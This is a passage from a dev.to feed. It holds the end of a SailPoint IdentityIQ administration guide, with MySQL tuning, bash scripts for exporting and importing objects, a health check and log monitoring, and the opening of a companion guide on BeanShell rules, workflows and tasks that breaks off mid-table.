&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;                          &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;total&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;MIN&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;oldest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="n"&gt;FROM_UNIXTIME&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;MAX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;created&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="k"&gt;AS&lt;/span&gt; &lt;span class="n"&gt;newest&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;   &lt;span class="n"&gt;spt_syslog_event&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If &lt;code&gt;oldest&lt;/code&gt; predates your retention window, purging is not running.&lt;/p&gt;

&lt;h3&gt;
  
  
  MySQL Settings That Matter
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ini"&gt;&lt;code&gt;&lt;span class="nn"&gt;[mysqld]&lt;/span&gt;
&lt;span class="py"&gt;innodb_buffer_pool_size&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;8G        # size to available RAM&lt;/span&gt;
&lt;span class="py"&gt;max_allowed_packet&lt;/span&gt;      &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;64M       # large XML blobs exceed the 4M default&lt;/span&gt;
&lt;span class="py"&gt;innodb_log_file_size&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;512M&lt;/span&gt;
&lt;span class="py"&gt;character_set_server&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;utf8mb4&lt;/span&gt;
&lt;span class="py"&gt;transaction_isolation&lt;/span&gt;   &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;READ-COMMITTED&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;max_allowed_packet&lt;/code&gt; is the one that bites first. IdentityIQ writes large XML blobs, and the default rejects them with &lt;code&gt;Packet for query is too large&lt;/code&gt;, usually during aggregation of a large application.&lt;/p&gt;

&lt;h2&gt;
  
  
  Shell Scripting: Automating the Console
&lt;/h2&gt;

&lt;p&gt;The &lt;code&gt;iiq console&lt;/code&gt; reads from stdin, which makes it scriptable. This is the foundation for backup, deployment, and health-check automation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Exporting Objects for Version Control
&lt;/h3&gt;

&lt;p&gt;IdentityIQ objects live in the database and are therefore invisible to Git. A database refresh destroys uncommitted customization. This script exports them:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail

&lt;span class="nv"&gt;IIQ_HOME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IIQ_HOME&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/opt/tomcat/webapps/identityiq&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;IIQ_BIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IIQ_HOME&lt;/span&gt;&lt;span class="s2"&gt;/WEB-INF/bin"&lt;/span&gt;
&lt;span class="nv"&gt;EXPORT_DIR&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;./iiq-export&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;/&lt;span class="o"&gt;{&lt;/span&gt;rules,workflows,tasks,applications&lt;span class="o"&gt;}&lt;/span&gt;

export_class&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
  &lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;cls&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nv"&gt;dest&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$2&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Exporting &lt;/span&gt;&lt;span class="nv"&gt;$cls&lt;/span&gt;&lt;span class="s2"&gt;..."&lt;/span&gt;

  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IIQ_BIN&lt;/span&gt;&lt;span class="s2"&gt;/iiq"&lt;/span&gt; console &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;CONSOLE&lt;/span&gt;&lt;span class="sh"&gt; | grep -v '^&amp;gt;' &amp;gt; "&lt;/span&gt;&lt;span class="nv"&gt;$dest&lt;/span&gt;&lt;span class="sh"&gt;/_list.txt"
list &lt;/span&gt;&lt;span class="nv"&gt;$cls&lt;/span&gt;&lt;span class="sh"&gt;
&lt;/span&gt;&lt;span class="no"&gt;CONSOLE

&lt;/span&gt;  &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; name&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt;
    &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-z&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="k"&gt;continue
    &lt;/span&gt;&lt;span class="nb"&gt;local &lt;/span&gt;&lt;span class="nv"&gt;safe&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="p"&gt;//[^a-zA-Z0-9._-]/_&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
    &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IIQ_BIN&lt;/span&gt;&lt;span class="s2"&gt;/iiq"&lt;/span&gt; console &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;CONSOLE&lt;/span&gt;&lt;span class="sh"&gt; &amp;gt;/dev/null
checkout &lt;/span&gt;&lt;span class="nv"&gt;$cls&lt;/span&gt;&lt;span class="sh"&gt; "&lt;/span&gt;&lt;span class="nv"&gt;$name&lt;/span&gt;&lt;span class="sh"&gt;" &lt;/span&gt;&lt;span class="nv"&gt;$dest&lt;/span&gt;&lt;span class="sh"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;$safe&lt;/span&gt;&lt;span class="sh"&gt;.xml
&lt;/span&gt;&lt;span class="no"&gt;CONSOLE
&lt;/span&gt;  &lt;span class="k"&gt;done&lt;/span&gt; &amp;lt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$dest&lt;/span&gt;&lt;span class="s2"&gt;/_list.txt"&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

export_class Rule         &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/rules"&lt;/span&gt;
export_class Workflow     &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/workflows"&lt;/span&gt;
export_class TaskDefinition &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;/tasks"&lt;/span&gt;

&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Exported to &lt;/span&gt;&lt;span class="nv"&gt;$EXPORT_DIR&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Run it on a schedule, commit the output, and a database refresh becomes recoverable.&lt;/p&gt;

&lt;h3&gt;
  
  
  Deploying XML with Validation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="nb"&gt;set&lt;/span&gt; &lt;span class="nt"&gt;-euo&lt;/span&gt; pipefail

&lt;span class="nv"&gt;IIQ_BIN&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;IIQ_HOME&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/opt/tomcat/webapps/identityiq&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/WEB-INF/bin"&lt;/span&gt;
&lt;span class="nv"&gt;TARGET&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="o"&gt;!&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ERROR: &lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt; not found"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp;2
  &lt;span class="nb"&gt;exit &lt;/span&gt;1
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c"&gt;# Fail before touching IdentityIQ if the XML is malformed&lt;/span&gt;
find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'*.xml'&lt;/span&gt; &lt;span class="nt"&gt;-print0&lt;/span&gt; | &lt;span class="k"&gt;while &lt;/span&gt;&lt;span class="nv"&gt;IFS&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;read&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;''&lt;/span&gt; f&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;xmllint &lt;span class="nt"&gt;--noout&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"ERROR: invalid XML in &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&amp;amp;2&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nb"&gt;exit &lt;/span&gt;1&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;done

for &lt;/span&gt;f &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="si"&gt;$(&lt;/span&gt;find &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$TARGET&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-name&lt;/span&gt; &lt;span class="s1"&gt;'*.xml'&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Importing &lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;basename&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$IIQ_BIN&lt;/span&gt;&lt;span class="s2"&gt;/iiq"&lt;/span&gt; console &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="no"&gt;CONSOLE&lt;/span&gt;&lt;span class="sh"&gt;
import &lt;/span&gt;&lt;span class="nv"&gt;$f&lt;/span&gt;&lt;span class="sh"&gt;
&lt;/span&gt;&lt;span class="no"&gt;CONSOLE
&lt;/span&gt;&lt;span class="k"&gt;done&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;xmllint&lt;/code&gt; pre-check matters because &lt;code&gt;import&lt;/code&gt; on malformed XML can partially apply, leaving the environment in a state neither matching the old nor the new definition.&lt;/p&gt;

&lt;h3&gt;
  
  
  A Health Check Worth Cron-ing
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/usr/bin/env bash&lt;/span&gt;
&lt;span class="c"&gt;# Report IdentityIQ health; exit non-zero if anything is wrong.&lt;/span&gt;

&lt;span class="nv"&gt;DB_USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DB_USER&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;identityiq&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;DB_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;DB_NAME&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;identityiq&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;CATALINA_OUT&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CATALINA_OUT&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="p"&gt;/opt/tomcat/logs/catalina.out&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0

q&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; mysql &lt;span class="nt"&gt;-u&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_USER&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_PASS&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-N&lt;/span&gt; &lt;span class="nt"&gt;-B&lt;/span&gt; &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$DB_NAME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; 2&amp;gt;/dev/null&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="nv"&gt;failed&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;q &lt;span class="s2"&gt;"SELECT COUNT(*) FROM spt_task_result
            WHERE completion_status='Error'
              AND completed &amp;gt; (UNIX_TIMESTAMP(NOW() - INTERVAL 1 DAY) * 1000);"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;failed&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 0 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARN: &lt;/span&gt;&lt;span class="nv"&gt;$failed&lt;/span&gt;&lt;span class="s2"&gt; task(s) failed in the last 24h"&lt;/span&gt;
  &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nv"&gt;stuck&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;q &lt;span class="s2"&gt;"SELECT COUNT(*) FROM spt_workflow_case
           WHERE created &amp;lt; (UNIX_TIMESTAMP(NOW() - INTERVAL 30 DAY) * 1000);"&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;stuck&lt;/span&gt;&lt;span class="k"&gt;:-&lt;/span&gt;&lt;span class="nv"&gt;0&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 0 &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"WARN: &lt;/span&gt;&lt;span class="nv"&gt;$stuck&lt;/span&gt;&lt;span class="s2"&gt; workflow case(s) older than 30 days"&lt;/span&gt;
  &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1
&lt;span class="k"&gt;fi

if&lt;/span&gt; &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CATALINA_OUT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;]]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;then
  &lt;/span&gt;&lt;span class="nv"&gt;oom&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s1"&gt;'OutOfMemoryError'&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$CATALINA_OUT&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt; &lt;span class="nb"&gt;true&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
  &lt;span class="o"&gt;[[&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$oom&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="nt"&gt;-gt&lt;/span&gt; 0 &lt;span class="o"&gt;]]&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt; &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"CRITICAL: &lt;/span&gt;&lt;span class="nv"&gt;$oom&lt;/span&gt;&lt;span class="s2"&gt; OutOfMemoryError in catalina.out"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nv"&gt;status&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;2&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;fi

&lt;/span&gt;&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="nv"&gt;$status&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note &lt;code&gt;-p"$DB_PASS"&lt;/code&gt; reads from the environment rather than hardcoding a credential, and &lt;code&gt;-N -B&lt;/code&gt; strips headers and formatting so the output parses cleanly.&lt;/p&gt;

&lt;h3&gt;
  
  
  Watching Aggregation in Real Time
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Follow only connector activity during an aggregation run&lt;/span&gt;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /opt/tomcat/logs/catalina.out | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;--line-buffered&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'sailpoint.connector|Aggregation'&lt;/span&gt;

&lt;span class="c"&gt;# Count errors by type from today's log&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'ERROR'&lt;/span&gt; /opt/tomcat/logs/catalina.out &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-E&lt;/span&gt; &lt;span class="s1"&gt;'s/.*ERROR[[:space:]]+//'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;cut&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="s1"&gt;' '&lt;/span&gt; &lt;span class="nt"&gt;-f1&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  | &lt;span class="nb"&gt;sort&lt;/span&gt; | &lt;span class="nb"&gt;uniq&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; | &lt;span class="nb"&gt;sort&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-20&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--line-buffered&lt;/code&gt; on &lt;code&gt;grep&lt;/code&gt; is what makes the first command actually stream; without it grep buffers output and the tail appears frozen.&lt;/p&gt;

&lt;h2&gt;
  
  
  Putting It Together
&lt;/h2&gt;

&lt;p&gt;A sound IdentityIQ deployment pipeline uses all three layers: shell scripts export objects from development into Git, compiled Java holds logic too complex for BeanShell, and MySQL is queried read-only for diagnostics while all writes go through the IdentityIQ API.&lt;/p&gt;

&lt;p&gt;The governance logic you build on top of this — rules, workflows, and tasks — is covered in the companion guide to &lt;a href="https://dev.to/posts/sailpoint-identityiq-beanshell-rules-workflows-tasks-developer-guide/"&gt;IdentityIQ BeanShell rules, workflows, and tasks&lt;/a&gt;. For how IdentityIQ compares to other platforms in this space, see our &lt;a href="https://dev.to/posts/iam-tools-comparison-complete-guide-to-identity-platforms/"&gt;IAM tools comparison&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>sailpoint</category>
      <category>identityiq</category>
      <category>mysql</category>
      <category>java</category>
    </item>
    <item>
      <title>SailPoint IdentityIQ BeanShell Rules, Workflows, and Tasks: A Developer's Guide</title>
      <dc:creator>IAMDevBox</dc:creator>
      <pubDate>Fri, 21 Aug 2026 02:19:24 +0000</pubDate>
      <link>https://dev.to/iamdevbox/sailpoint-identityiq-beanshell-rules-workflows-and-tasks-a-developers-guide-1jpn</link>
      <guid>https://dev.to/iamdevbox/sailpoint-identityiq-beanshell-rules-workflows-and-tasks-a-developers-guide-1jpn</guid>
      <description>&lt;p&gt;SailPoint IdentityIQ ships with three extension points where you write code: &lt;strong&gt;rules&lt;/strong&gt; (BeanShell scripts that compute a value), &lt;strong&gt;workflows&lt;/strong&gt; (XML state machines that orchestrate multi-step processes), and &lt;strong&gt;tasks&lt;/strong&gt; (scheduled jobs that operate on data in bulk). Almost every IdentityIQ customization you will ever build fits into one of those three. This guide covers what each one is for, the API you use inside them, and the failure modes that cost new IdentityIQ developers the most time.&lt;/p&gt;

&lt;p&gt;If you are coming from a different IAM platform, the closest analogue is scripted customization in ForgeRock — see our &lt;a href="https://dev.to/posts/forgerock-am-script-customization-a-practical-guide/"&gt;ForgeRock AM script customization guide&lt;/a&gt; for a comparison of how the two platforms approach the same problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  Choosing the Right Extension Point
&lt;/h2&gt;

&lt;p&gt;Before writing anything, pick the correct mechanism. Choosing wrong is the most expensive mistake in IdentityIQ development, because migrating logic from a rule to a workflow later means rewriting it entirely.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;You need to...&lt;/th&gt;
&lt;th&gt;Use&lt;/th&gt;
&lt;th&gt;Runs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Transform an attribute value&lt;/td&gt;
&lt;td&gt;Rule&lt;/td&gt;
&lt;td&gt;Synchronously, in-process&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Match an account to an identity&lt;/td&gt;
